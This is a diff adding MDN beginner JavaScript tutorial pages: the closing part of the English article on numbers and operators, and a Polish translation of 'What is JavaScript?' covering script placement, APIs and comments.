+<p><strong>Note</strong>: You may see some people using <code>==</code> and <code>!=</code> in their tests for equality and non-equality. These are valid operators in JavaScript, but they differ from <code>===</code>/<code>!==</code>. The former versions test whether the values are the same but not whether the values' datatypes are the same. The latter, strict versions test the equality of both the values and their datatypes. The strict versions tend to result in fewer errors, so we recommend you use them.</p>
+</div>
+
+<p>If you try entering some of these values in a console, you'll see that they all return <code>true</code>/<code>false</code> values — those booleans we mentioned in the last article. These are very useful, as they allow us to make decisions in our code, and they are used every time we want to make a choice of some kind. For example, booleans can be used to:</p>
+
+<ul>
+ <li>Display the correct text label on a button depending on whether a feature is turned on or off</li>
+ <li>Display a game over message if a game is over or a victory message if the game has been won</li>
+ <li>Display the correct seasonal greeting depending what holiday season it is</li>
+ <li>Zoom a map in or out depending on what zoom level is selected</li>
+</ul>
+
+<p>We'll look at how to code such logic when we look at conditional statements in a future article. For now, let's look at a quick example:</p>
+
+<pre class="brush: html notranslate">&lt;button&gt;Start machine&lt;/button&gt;
+&lt;p&gt;The machine is stopped.&lt;/p&gt;
+</pre>
+
+<pre class="brush: js notranslate">const btn = document.querySelector('button');
+const txt = document.querySelector('p');
+
+btn.addEventListener('click', updateBtn);
+
+function updateBtn() {
+ if (btn.textContent === 'Start machine') {
+ btn.textContent = 'Stop machine';
+ txt.textContent = 'The machine has started!';
+ } else {
+ btn.textContent = 'Start machine';
+ txt.textContent = 'The machine is stopped.';
+ }
+}</pre>
+
+<p>{{EmbedGHLiveSample("learning-area/javascript/introduction-to-js-1/maths/conditional.html", '100%', 100)}}</p>
+
+<p><strong><a href="https://mdn.github.io/learning-area/javascript/introduction-to-js-1/maths/conditional.html">Open in new window</a></strong></p>
+
+<p>You can see the equality operator being used just inside the <code>updateBtn()</code> function. In this case, we are not testing if two mathematical expressions have the same value — we are testing whether the text content of a button contains a certain string — but it is still the same principle at work. If the button is currently saying "Start machine" when it is pressed, we change its label to  "Stop machine", and update the label as appropriate. If the button is currently saying "Stop machine" when it is pressed, we swap the display back again.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Such a control that swaps between two states is generally referred to as a <strong>toggle</strong>. It toggles between one state and another — light on, light off, etc.</p>
+</div>
+
+<h2 id="Test_your_skills!">Test your skills!</h2>
+
+<p>You've reached the end of this article, but can you remember the most important information? You can find some further tests to verify that you've retained this information before you move on — see <a href="/en-US/docs/Learn/JavaScript/First_steps/Test_your_skills:_Math">Test your skills: Math</a>.</p>
+
+<h2 id="Summary">Summary</h2>
+
+<p>In this article we have covered the fundamental information you need to know about numbers in JavaScript, for now. You'll see numbers used again and again, all the way through your JavaScript learning, so it's a good idea to get this out of the way now. If you are one of those people that doesn't enjoy math, you can take comfort in the fact that this chapter was pretty short.</p>
+
+<p>In the next article, we'll explore text and how JavaScript allows us to manipulate it.</p>
+
+<div class="note">
+<p><strong>Note</strong>: If you do enjoy math and want to read more about how it is implemented in JavaScript, you can find a lot more detail in MDN's main JavaScript section. Great places to start are our <a href="/en-US/docs/Web/JavaScript/Guide/Numbers_and_dates">Numbers and dates</a> and <a href="/en-US/docs/Web/JavaScript/Guide/Expressions_and_Operators">Expressions and operators</a> articles.</p>
+</div>
+
+<p>{{PreviousMenuNext("Learn/JavaScript/First_steps/Variables", "Learn/JavaScript/First_steps/Strings", "Learn/JavaScript/First_steps")}}</p>
+
+<h2 id="In_this_module">In this module</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/What_is_JavaScript">What is JavaScript?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/A_first_splash">A first splash into JavaScript</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/What_went_wrong">What went wrong? Troubleshooting JavaScript</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Variables">Storing the information you need — Variables</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Math">Basic math in JavaScript — numbers and operators</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Strings">Handling text — strings in JavaScript</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Useful_string_methods">Useful string methods</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Arrays">Arrays</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Silly_story_generator">Assessment: Silly story generator</a></li>
+</ul>
diff --git a/files/pl/learn/javascript/pierwsze_kroki/what_is_javascript/index.html b/files/pl/learn/javascript/pierwsze_kroki/what_is_javascript/index.html
new file mode 100644
index 0000000000..3898eb049c
--- /dev/null
+++ b/files/pl/learn/javascript/pierwsze_kroki/what_is_javascript/index.html
@@ -0,0 +1,342 @@
+---
+title: Co to jest JavaScript?
+slug: Learn/JavaScript/Pierwsze_kroki/What_is_JavaScript
+translation_of: Learn/JavaScript/First_steps/What_is_JavaScript
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{NextMenu("Learn/JavaScript/First_steps/A_first_splash", "Learn/JavaScript/First_steps")}}</div>
+
+<p class="summary">Witamy w MDN na kursie JavaScript dla początkujących! W tym pierwszym artykule przyjrzymy się JavaScript z pewnej odległości, odpowiadając na pytania w stylu "co to jest?" i "co on robi?" oraz upewnimy się, że rozumiesz cel, któremu służy JavaScript.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+ <tr>
+ <th scope="row">Wymagania wstępne:</th>
+ <td>Podstawowa znajomość komputera, podstawowa znajomość HTML i CSS.</td>
+ </tr>
+ <tr>
+ <th scope="row">Cel:</th>
+ <td>Zapoznanie z istotą JavaScript, co on robi i jak jest dopasowywany do strony internetowej.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Definicja_ogólna">Definicja ogólna</h2>
+
+<p>JavaScript to język programowania, który umożliwia wdrożenie na stronie internetowej skomplikowanych elementów, dzięki którym strona ta może nie tylko wyświetlać statyczne informacje, ale również obsługiwać zmianę treść odpowiednio do sytuacji, wyświetlać interaktywne mapy i animacje grafiki 2D/3D , wyświetlać video itd. Jest to trzecia warstwa standardowych technologii internetowych, z których dwie (<a href="/en-US/docs/Learn/HTML">HTML</a> i <a href="/en-US/docs/Learn/CSS">CSS</a>) omówiliśmy w innych częściach "Strefy nauki".</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13502/cake.png" style="display: block; margin: 0 auto;"></p>
+
+<ul>
+ <li>{{glossary("HTML")}} jest to język znaczników, który używa się do sformułowania dokumentu HTML (wyświetlanego jako strona przeglądarki) i strukturyzacji treści zawartej w dokumencie HTML, na przykład zdefiniowania akapitów, nagłówków i tabel danych czy osadzenia obrazów i wideo.</li>
+ <li>{{glossary("CSS")}} jest to język reguł stylizacji, który używa się do stylizacji dokumentu HTML, na przykład ustawienia kolorów tła lub czcionki i układania treści w wielu kolumnach.</li>
+ <li>{{glossary("JavaScript")}} jest to skryptowy język, który umożliwia  obsługę dynamicznego tworzenia treści na stronie internetowej, kontrolowanie multimediów, animację obrazów i prawie wszystko inne  (no dobrze, nie wszystko, ale to niesamowite, co można osiągnąć kilkoma liniami kodu JavaScript.)</li>
+</ul>
+
+<p>Te trzy warstwy układają się jedna na drugiej. Jako przykład weźmy prostą etykietę tekstową. Możemy ją oznaczyć używajac kodu HTML, aby nadać jej strukturę:</p>
+
+<pre class="brush: html notranslate">&lt;p&gt;Player 1: Chris&lt;/p&gt;</pre>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13422/just-html.png" style="height: 28px; width: 108px;"></p>
+
+<p>Następnie możemy dodać kod CSS, aby nadać ładny wygląd:</p>
+
+<pre class="brush: css notranslate">p {
+ font-family: 'helvetica neue', helvetica, sans-serif;
+ letter-spacing: 1px;
+ text-transform: uppercase;
+ text-align: center;
+ border: 2px solid rgba(0,0,200,0.6);
+ background: rgba(0,0,200,0.3);
+ color: rgba(0,0,200,0.6);
+ box-shadow: 1px 1px 2px rgba(0,0,200,0.4);
+ border-radius: 10px;
+ padding: 3px 10px;
+ display: inline-block;
+ cursor:pointer;
+}</pre>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13424/html-and-css.png" style="height: 48px; width: 187px;"></p>
+
+<p>Na końcu możemy dodać kod Javascript, aby zaimplementować dynamiczne zachowanie:</p>
+
+<pre class="brush: js notranslate">var para = document.querySelector('p');
+
+para.addEventListener('click', updateName);
+
+function updateName() {
+ var name = prompt('Enter a new name');
+ para.textContent = 'Player 1: ' + name;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('A_high-level_definition', '100%', 80) }}</p>
+
+<p>Kliknij na przycisk (etykietę tekstową), aby zobaczyć co się dzieje (na GitHub mozesz znależć kod źróðłowy i wersję demo — zobacz <a href="https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/what-is-js/javascript-label.html">kod źródłowy</a> lub <a href="http://mdn.github.io/learning-area/javascript/introduction-to-js-1/what-is-js/javascript-label.html">przykład na żywo</a>)!</p>
+
+<p>JavaScript pozwala osiągać o wiele bardziej zaawansowane efekty - sprawdź poniżej jego możliwości.</p>
+
+<h2 id="Co_można_zrobić">Co można zrobić?</h2>
+
+<p>Rdzeń języka JavaScript składa się z kilku funkcjonalności, które umożliwiają wykonanie rzeczy, takich jak te: </p>
+
+<ul>
+ <li>Przechowywanie wartości w zmiennych. W powyższym przykładzie pytamy użytkownika o imię, które następnie zapisujemy w zmiennej o nazwie <code>name</code>.</li>
+ <li>Operowanie na porcjach tekstu (zwanych w programowaniu "łańcuchami"). W powyższym przykładzie używamy łańcucha "Player 1: ", który łączymy ze zmienną <code>name</code>, aby stworzyć etykietę ''Player 1: Chris".</li>
+ <li>Uruchamianie kodu w odpowedzi na określone zdarzenia zaistniałe na stronie internetowej. W naszym przykładzie użyliśmy zdarzenie {{Event("click")}} do wykrywania klknięć przycisku (etykiety tekstowej). Po kliknieciu przycisku, uruchamiany jest kod, który zmienia etykiete tekstową.</li>
+ <li>I wiele więcej!</li>
+</ul>
+
+<p>Jeszcze bardziej ekscytująca jest możliwość stosowania tzw. interfejsów programowania aplikacji (<em>ang. Application Programming Interfaces - API</em>), działających na szczycie rdzenia języka JavaScript.</p>
+
+<p>Interfejsy API są gotowymi zestawami bloków kodu, które umożliwiają programistom implementować programy, które w przeciwnym razie byłyby bardzo trudne do napisania przez programistę a nawet często niemożliwe do napisania przez niego. Spełniają one w programowaniu tą samą rolę, co gotowe segmenty mebli przy umeblowaniu domu — o wiele łatwiej jest wykorzystać gotowe panele i je poskręcać, niż samemu opracować projekt mebli, znaleźć drewno, pociąć go na deski, wysuszyć, przyciąć je na elementy swoich mebli i w końcu je samemu zmontować.</p>
+
+<p>Interfejsy API dzielą się ogólnie na dwie kategorie:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13508/browser.png" style="display: block; height: 511px; margin: 0px auto; width: 815px;"></p>
+
+<p><strong>Interfesy API przeglądarek internetowych</strong>, które są wbudowane w przeglądarki. Służą do udostępniania danych z komputera, ale też mogą wykonywać bardziej zaawansowane rzeczy. Na przykład:</p>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/pl/docs/Web/API/Document_Object_Model">API DOM (Document Object Model) </a>pozwala manipulować kodem HTML i CSS, tworząc, usuwając i zmianiając kod HTML, dynamiczne dodając do strony nowe style. Za każdym razem kiedy widzisz wyskakujące okienko pojawiające się na stronie lub zmianę fragmentu treści strony, to właśnie sprawka API DOM.</li>
+ <li><a href="https://developer.mozilla.org/pl/docs/Web/API/Geolocation">API Geolokalizacji</a> pozwala na pobranie informacji lokalizacyjnych i nie tylko. <a href="https://www.google.com/maps">Google Maps</a> używa tego API do znalezienieaTwojej lokalizacji i wyświetlenia jej na mapie.</li>
+ <li><a href="https://developer.mozilla.org/pl/docs/Web/API/Canvas_API">API Canvas</a> i <a href="https://developer.mozilla.org/pl/docs/Web/API/WebGL_API">API WebGL</a> umożliwiają tworzenie animacji 2D i 3D. Ludzie tworzą naprawdę szalone rzeczy używając tych technologii - sprawdź sam - <a href="https://www.chromeexperiments.com/webgl">Chrome Experiments</a> i <a href="http://webglsamples.org/">webglsamples</a>.</li>
+ <li>Interfejsy <a href="https://developer.mozilla.org/pl/Apps/Fundamentals/Audio_and_video_delivery">Audio i wideo</a>, takie jak {{domxref("HTMLMediaElement")}} czy <a href="/pl/docs/Web/API/WebRTC_API">WebRTC</a> umożliwiają robienie niezwykle interesujących rzeczy z multimediami, jak odtwarzanie wideo czy muzyki bezpośrednio na stronie internetowej, albo pobieranie transmisji wideo z Twojej kamery internetowej i wyświetlanie jej na stronie (sprawdź <a href="http://chrisdavidmills.github.io/snapshot/">Snapshot demo</a>).</li>
+</ul>
+
+<div class="note">
+<p><strong>Uwaga: </strong>wiele z powyższych przykładów nie będzie działać w starszych przeglądarkach - podczas eksperymentowania warto używać najnowszych wersji przeglądarek takich jak Firefox, Chrome, Edge czy Opera. Powinieneś także brać pod uwagę konieczność testowania swoich rozwiązań w wielu przegladarkach. Kod, który działa dobrze w Chrome nie zawsze będzie działał w Edge. (sprawdź: <a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing">Testowanie wieloprzegladarkowe</a>).</p>
+</div>
+
+<p><strong>Zewnętrzne interfejsy API</strong> nie są wbudowane w przeglądarki i trzeba samemu pobrać ich kod i informacje o zastosowaniu. Na przykład:</p>
+
+<ul>
+ <li><a href="https://dev.twitter.com/overview/documentation">API Twitter</a> umożliwia wyświetlania najnowszych tweetów na stronie internetowej.</li>
+ <li><a href="https://developers.google.com/maps/">API Google Maps </a>daje możliwość wyświetlania map na stronie internetowej oraz dostarcza innych związanych funkcji.</li>
+</ul>
+
+<div class="note">
+<p><strong>Uwaga: </strong> Interfesy API są zaawansowane i nie będziemy ich tu opisywać, możesz znaleźć o nich więcej informacji w module <a href="/pl/docs/Learn/JavaScript/Client-side_web_APIs">Interfejsy API działające po stronie klienta</a>.</p>
+</div>
+
+<p>W Internecie dostępnych jest bardzo dużo bibliotek API działających z przegladarkami internetowymi, ale jest to "temat na później". Nie zbudujesz następnego Facebooka czy Google Maps po 24 godzinach nauki JavaScriptu. Jest wiele zagadnień podstawowych, które musisz najpierw opanować. Ale przecież po to tu jesteś!</p>
+
+<h2 id="Co_robi_JavaScript_na_stronie_internetowej">Co robi JavaScript na stronie internetowej?</h2>
+
+<p>Tutaj zaczniemy faktycznie przyglądać się pewnemu kodowi i robiąc to, zbadamy, co takiego dzieje się po uruchomieniu tego kodu na stronie internetowej.</p>
+
+<p>Przypomnijmy sobie, co dzieje się podczas ładowania strony internetowej w przeglądarce (pierwsz raz omówiliśmy to w artykule <a href="/pl/Learn/CSS/Introduction_to_CSS/How_CSS_works#How_does_CSS_actually_work">Jak działa CSS</a>). Po załadowaniu strony internetowej (dokumentu HTML) do przeglądarki, zostaje uruchomioney jej kod (HTML, CSS i JavaScript) w środowisku wykonawczym tworzonym przez przeglądarkę (zakładka przegladarki). Jest to podobne do fabryki, która przyjmuje surowe materiały (kod) a wypuszcza gotowy produkt (stronę internetową).</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13504/execution.png" style="display: block; margin: 0 auto;"></p>
+
+<p>JavaScript jest wykonywany przez silnik JavaScriptu w przeglądarce, po tym jak HTML i CSS zostaną skompletowane w stronę internetową. To zapewnia to, że struktura i style strony są już na miejscu w momencie gdy JavaScript zaczyna pracę.</p>
+
+<p>Jest to przydatne, jako że popularnym zastosowaniem JavaScriptu jest dynamiczne modyfikowanie HTMLa i CSSa aby edytować interfejs poprzez Document Object Model API. Jeżeli JavaScript załadowałby się i próbował wykonywać się przed tym jak HTML i CSS zostały załadowane, wtedy wystąpiłyby błędy.</p>
+
+<h3 id="Bezpieczeństwo_przeglądarki">Bezpieczeństwo przeglądarki</h3>
+
+<p>Każda karta przeglądarki jest swoim własnym kontenerem dla kodu, który w niej się wykonuje (te kontenery są nazywane technicznie "środowiskami wykonywania" (ang. "execution environments") - oznacza to, ze w większości przypadków kod w każdej karcie jest wykonywany oddzielnie i kod z jednej z kart nie jest w stanie bezpośrednio wpłynąć na ten wykonujący się w innej karcie. Jest to przykład dobrego środka bezpieczeństwa - jeżeli by tak nie było, wtedy możliwe stałoby się pisanie kodu, który wykradałby dane z innych witryn oraz  byłby w stanie wykonywać inne, podobnie złe rzeczy.</p>
+
+<div class="note">
+<p><strong>Notatka:  </strong>Istnieją sposoby na bezpieczne wysyłanie kodu i danych pomiędzy różnymi stronami/kartami. Wykraczają one jednak poziomem poza ten kurs i nie zostaną one tu omówione.</p>
+</div>
+
+<h3 id="Kolejność_wykonywania_kodu_JavaScript">Kolejność wykonywania kodu JavaScript</h3>
+
+<p>Kiedy przeglądarka napotyka blok kodu JS, wykonuje go po kolei, od góry do dołu. Oznacza to, że musisz być ostrożny, w jakiej kolejności umieszczasz instrukcje. Aby ukazać to zjawisko, wróćmy do bloku kodu z pierwszego przykładu:</p>
+
+<pre class="brush: js notranslate">var para = document.querySelector('p');
+
+para.addEventListener('click', updateName);
+
+function updateName() {
+ var name = prompt('Enter a new name');
+ para.textContent = 'Player 1: ' + name;
+}</pre>
+
+<p>Na początku wybieramy pierwszy paragraf (linia 1), dołączamy do niego event listener (linia 3), aby kiedy zostanie on klinięty, blok  <code>updateName()</code> (linie 5- 8) został uruchomiony. Blok  <code>updateName()</code> (ten typ kodu możliwego do użycia ponownie jest nazywany funkcją) pyta użytkownika o nowe imię, po czym wstawia to podane imię do paragrafu, aby uaktualnić widok.</p>
+
+<p>Jeżeli zamieniłbyś kolejność dwóch pierwszych linii kodu, przestałoby to działać - zamiast tego pojawiłby się błąd w konsoli przeglądarki - <code>TypeError: para is undefined</code>. Oznacza on, że ten obiekt jeszcze nie istnieje, a więc nie możemy dodać do niego event listenera.</p>
+
+<div class="note">
+<p><strong>Notatka:</strong> Jest to bardzo popularny błąd - musisz uważać na to, że obiekty do których istnieją odwołania istnieją przed tym jak cokolwiek z nimi zrobisz.</p>
+</div>
+
+<h3 id="Kod_interpretowany_kontra_kompilowany">Kod interpretowany kontra kompilowany</h3>
+
+<p>Mogłeś usłyszeć pojęcie kodu <strong>interpretowanego</strong> i <strong>kompilowanego<strong>. </strong></strong>JavaScript jest językiem interpretowanym - kod jest wykonywany od góry do dołu i wynik jest zwracany natychmiastowo. Nie musisz transformować kodu w jakąś inną postać przed tym jak przeglądarka go wykona.</p>
+
+<p>Języki kompilowane są natomiast transformowane (kompilowane) do innej formy przed ich wykonaniem. Dla przykładu C/C++ jest kompilowane do kodu assemblera, który jest następnie wykonywany przez komputer.</p>
+
+<p>Oba te podejścia mają swoje wady i zalety, które nie zostaną tutaj omówione.</p>
+
+<h3 id="Kod_server-side_kontra_client-side"><strong><strong>Kod server-side kontra client-side</strong></strong></h3>
+
+<p>Mogłeś także słyszeć pojęcia <strong>server-side</strong> i <strong>client-side</strong>, szczególnie w odniesieniu do tworzenia stron internetowych. Kod client-side jest kodem, który jest wykonywany na komputerze użytkownika - kiedy strona jest wyświetlana, kod client-side jest pobierany, następnie uruchamiany i wyświetlany przez przeglądarkę. W tym module JavaScript mówimy jednoznacznie o <strong>client-side JavaScript</strong>.</p>
+
+<p>Kod server-side jest natomiast wykonywany na serwerze, po czym wynik wykonania jest pobierany i wyświetlany przez przeglądarkę. Popularnymi przykładami języków server-side są PHP, Python, Ruby czy ASP.NET. I JavaScript! JavaScript może być także użyty jako język server-side, na przykład w popularnym środowisku Node.js - możesz więcej dowiedzieć się o tym w naszym poradniku <a href="/en-US/docs/Learn/Server-side">Dynamic Websites – Server-side programming</a></p>
+
+<p>Słowo<strong> dynamiczny</strong> jest użyte zarówno do opisania zarówno client-side JavaScript i języki server-side — odnosi się ono do możliwości uaktualnienia widoku strony/aplikacji, aby możliwe było pokazanie różnych rzeczy w różnych okolicznościach; generując nową zawartość w zależności od potrzeb. Kod server-side  dynamicznie generuje nową zawartość na serwerze, na przykład stworzenie nowej tabeli HTML, kiedy client-side JavaScript dynamicznie generuje nową zawartość, na przykład tworząc nową tabelę HTML, wstawiając dane pobrane z serwera, następnie pokazując użytkownikowi tabelę na stronie. Znaczenie słowa jest lekko inne, ale podobne,  w dwóch kontekstach użycia i te dwa podejścia (server-side i client-side) zwykle współpracują ramię w ramię.</p>
+
+<p>Strona bez dynamicznie uaktualnianej zawartości nazywa się <strong>statyczną</strong> - zawsze pokazuje to samo.</p>
+
+<h2 id="W_jaki_sposób_dodać_JavaScript_do_twojej_strony"><strong><strong>W jaki sposób dodać JavaScript do twojej strony?</strong></strong></h2>
+
+<p>JavaScript jest dołączany do strony HTML w podobny sposób jak odbywa się to w wypadku CSS. Podczas gdy CSS używa elementów {{htmlelement("link")}} do dołączania zewnętrznych arkuszów i {{htmlelement("style")}} do dołączenia stylów bezpośrednio w dokumencie, JS potrzebuje tylko jednej rzeczy - elementu {{htmlelement("script")}}. Dowiedzmy się, jak to działa.</p>
+
+<h3 id="Osadzony_JavaScript">Osadzony JavaScript</h3>
+
+<ol>
+ <li>Po pierwsze stwórz lokalną kopię naszego przykładowego pliku <a href="https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/what-is-js/apply-javascript.html">apply-javascript.html. </a>Zapisz go gdzieś w katalogu.</li>
+ <li>Otwórz plik w twojej przeglądarce i edytorze tekstu. Ujrzysz prostą stronę z przyciskiem, który można kliknąć.</li>
+ <li>Następnie wejdź do edytora i dodaj następujący kod tuż przed końcem <code>&lt;/body&gt;</code>:
+ <pre class="brush: html notranslate">&lt;script&gt;
+
+ // Kod JavaScript będzie tu umieszczony.
+
+&lt;/script&gt;</pre>
+ </li>
+ <li>Teraz dodamy trochę kodu w naszym elemencie  {{htmlelement("script")}}, aby strona wykonała coś bardziej interesującego  — dodaj poniższy kod bezpośrednio pod linią "// Kod JavaScript będzie tu umieszczony.":
+ <pre class="brush: js notranslate">function stworzParagraf() {
+ var para = document.createElement('p');
+ para.textContent = 'Kliknąłeś przycisk!';
+ document.body.appendChild(para);
+}
+
+var przyciski = document.querySelectorAll('button');
+
+for (var i = 0; i &lt; przyciski.length ; i++) {
+ przyciski[i].addEventListener('click', stworzParagraf);
+}</pre>
+ </li>
+ <li>Zapisz plik i odśwież stronę w przeglądarce - teraz gdy klikniesz przycisk, nowy paragraf jest generowany i umieszczany poniżej.</li>
+</ol>
+
+<div class="note">
+<p><strong><strong><strong>Notatka</strong>:</strong></strong> Jeżeli przykład nie działa, przejdź go znowu krok po kroku, sprawdzając czy zrobiłeś wszystko poprawnie. Czy zapisałeś swoją lokalną wersję początkowego kodu jako plik <code>.html</code>? Czy dodałeś element  {{htmlelement("script")}} tuż przed zamknięciem  <code>&lt;/body&gt;</code>? Czy wprowadziłeś kod JavaScript dokładnie tak, jak podane w przykłądzie?</p>
+
+<p><strong>JavaScript uwzględnia wielkość liter i jest bardzo drobiazgowy, a więc musisz wprowadzić kod dokładnie tak,  jak zostało to pokazane. W innym wypadku może to nie zadziałać.</strong></p>
+</div>
+
+<div class="note">
+<p><strong><strong><strong><strong><strong>Notatka</strong>:  </strong></strong></strong></strong>Możesz zobaczyć ten kod także na GitHubie jako <a href="https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/what-is-js/apply-javascript-internal.html">apply-javascript-internal.html</a> (<a href="http://mdn.github.io/learning-area/javascript/introduction-to-js-1/what-is-js/apply-javascript-internal.html">zobacz to także na żywo</a>).</p>
+</div>
+
+<h3 id="Zewnętrzny_JavaScript"><strong><strong>Zewnętrzny JavaScript</strong></strong></h3>
+
+<p>Działa to świetnie, ale co by było, gdybyśmy chcieli umieścić nasz kod JavaScript w oddzielnym pliku? Zróbmy to teraz.<strong><strong> </strong></strong></p>
+
+<ol>
+ <li>Po pierwsze, stwórz nowy plik w tym samym katalogu, w którym umieściłeś twój plik HTML. Nazwij go <strong><code>script.js</code>  </strong>- upewnij się, że ma on rozszerzenie .js, jako że w ten sposób jest rozpoznawany jako JavaScript.</li>
+ <li>Następnie przekopiuj wszystkie skrypty z obecnego {{htmlelement("script")}}<strong> </strong>i wklej je do pliku .js. Zapisz ten plik.<strong>  </strong></li>
+ <li>Teraz zastąp obecny element {{htmlelement("script")}} poniższym kodem:
+ <pre class="brush: html notranslate"><strong><strong>
+</strong></strong>&lt;script src="script.js"&gt;&lt;/script&gt;</pre>
+ <strong><strong> </strong></strong></li>
+ <li>Zapisz i odśwież przeglądarkę - powinieneś zobaczyć to samo! Działa to w ten sam sposób, ale teraz mamy kod JavaScript w oddzielnym pliku. Jest to dobra praktyka organizowania kodu i umożliwiania jego ponownego wykorzystania między wieloma plikami HTML. Do tego HTML jest łatwiejszy do czytania bez bloków kodu pomiędzy.</li>
+</ol>
+
+<p><strong>Notatka</strong>: Możesz zobaczyć ten kod na GitHubie - <a href="https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/what-is-js/apply-javascript-external.html"> apply-javascript-external.html</a> i <a href="https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/what-is-js/script.js">script.js</a> (<a href="http://mdn.github.io/learning-area/javascript/introduction-to-js-1/what-is-js/apply-javascript-external.html">Możesz zobaczyć to także na żywo tu</a>).</p>
+
+<h3 id="Interpretowanie_kodu_JavaScript_inline"><strong><strong>Interpretowanie kodu JavaScript inline</strong></strong></h3>
+
+<p>Czasami napotkasz kawałki prawdziwego kodu JavaScript pomiędzy kodem HTML. Może to wyglądać następująco:</p>
+
+<pre class="brush: js example-bad notranslate"><strong><strong>
+</strong></strong>function stworzParagraf() {
+ var para = document.createElement('p');
+ para.textContent = 'Kliknąłeś przycisk!';
+ document.body.appendChild(para);
+}</pre>
+
+<pre class="brush: html example-bad notranslate"><strong><strong>
+</strong></strong>&lt;button onclick="createParagraph()"&gt;Kliknij mnie!&lt;/button&gt;</pre>
+
+<p>Możesz przetestować tę wersję poniżej:</p>
+
+<p>{{ EmbedLiveSample('Inline_JavaScript_handlers', '100%', 150) }}</p>
+
+<p>Ten przykład ma dokładnie tę samą funkcjonalność jak dwa poprzednie przykłady, za wyjątkiem tego, że element {{htmlelement("button")}} zawiera w sobie handler <strong><strong><code>onclick</code></strong></strong> . Sprawia to, że funkcja zostanie uruchomiona gdy zostanie wcisnięty przycisk.</p>
+
+<p><strong><strong><strong>Jednakże nie rób tego! Zanieczyszczanie HTMLa poprzez JavaScript jest uważane za złą praktykę. Jest to również nieefektywne - musiałbyś załączać atrybut </strong><code>onclick="stworzParagraf()"</code><strong>  do każdego przycisku, dla którego miałaby zastosowanie funkcja. </strong></strong></strong></p>
+
+<p>Używanie czystych konstrukcji JavaScript pozwala na wybranie wszystkich przycisków za pomocą jednej instrukcji. Kod, którego użyliśmy do wykonania tego wygląda następująco:</p>
+
+<pre class="notranslate">var buttons = document.querySelectorAll('button');
+
+for (var i = 0; i &lt; buttons.length ; i++) {
+ buttons[i].addEventListener('click', createParagraph);
+}</pre>
+
+<p>Może to wyglądać na lekko dłuższe niż atrybut  <code>onclick</code>, ale zadziała to dla wszyskich przycisków, bez znaczenia ile ich jest na stronie i ile z nich zostanie dodane bądź usunięte. Kod JS nie musi być zmieniony.</p>
+
+<div class="note">
+<p><strong><strong><strong><strong><strong>Notatka:  </strong></strong></strong></strong></strong>Spróbuj edytować twoją wersję <code>apply-javascript.html</code> i dodaj kilka innych przycisków. Kiedy przeładujesz stronę, odkryjesz, że wszystkie przyciski tworzą paragraf po kliknięciu. Nieźle, co?</p>
+</div>
+
+<h2 id="Komentarze"><strong><strong><strong><strong>Komentarze</strong></strong></strong></strong></h2>
+
+<p>Tak samo jak w HTML i CSS, możliwe jest pisanie komentarzy w kodzie JavaScript. Zostaną one zignorowane przez przeglądarkę - istnieją tylko po to, aby służyć pomocą tym, którzy współpracują przy tym kodzie (i tobie, kiedy po 6 miesiącach wrócić do kodu i nie będziesz pamiętać, co on robi). Komentarze są bardzo użyteczne i powinieneś używać ich często, szczególnie w dużych aplikacjach. Istniają dwa typy komentarzy:</p>
+
+<ul>
+ <li>Pojedynczy komentarz, pisany po podwójnym znaku / (//):
+ <pre class="brush: js notranslate">// Jestem komentarzem!</pre>
+ <strong><strong> </strong></strong></li>
+ <li>Komentarz wielolinijkowy, który jest pisany pomiędzy /* a */:
+ <pre class="brush: js notranslate"><strong><strong>
+</strong></strong>/*
+ Także jestem
+ komentarzem
+*/</pre>
+ <strong><strong> </strong></strong></li>
+</ul>
+
+<p>Przykładowo możemy skomentować nasz ostatni kod JavaScript w ten sposób:</p>
+
+<pre class="brush: js notranslate"><strong><strong>
+</strong></strong>// Funkcja: tworzy nowy paragraf i dodaje na koniec &lt;body&gt;.
+
+function stworzParagraf() {
+ var para = document.createElement('p');
+ para.textContent = 'Kliknąłeś przycisk!';
+ document.body.appendChild(para);
+}<strong>
+
+</strong>/*
+ 1. Pobierz listę wskaźników na wszystke przyciski na stronie.
+ 2. Przejdź po wszystkich przycisków i dodaj każdemu z nich akcję pod klinięcie.
+
+ Kiedy przycisk jest wciśnięty, funkcja stworzParagraf() zostanie wywołana.
+*/
+
+var przyciski = document.querySelectorAll('button');
+
+for (var i = 0; i &lt; buttons.length ; i++) {
+ przyciski[i].addEventListener('click', stworzParagraf);
+}</pre>
+
+<h2 id="Podsumowanie"><strong><strong><strong><strong>Podsumowanie</strong></strong></strong></strong></h2>
+
+<p>A więc proszę bardzo, oto twój pierwszy krok w kierunku świata JavaScript. Zaczęliśmy właśnie teorię, aby przyzwyczaić cię do używania JavaScript i do tego, co z jego pomocą można zrobić. W czasie trwania kursu między innymi zobaczyłeś kilka przykładów i nauczyłeś się, jak JavaScript jest używany z resztą kodu na twojej stronie<strong>.</strong></p>
+
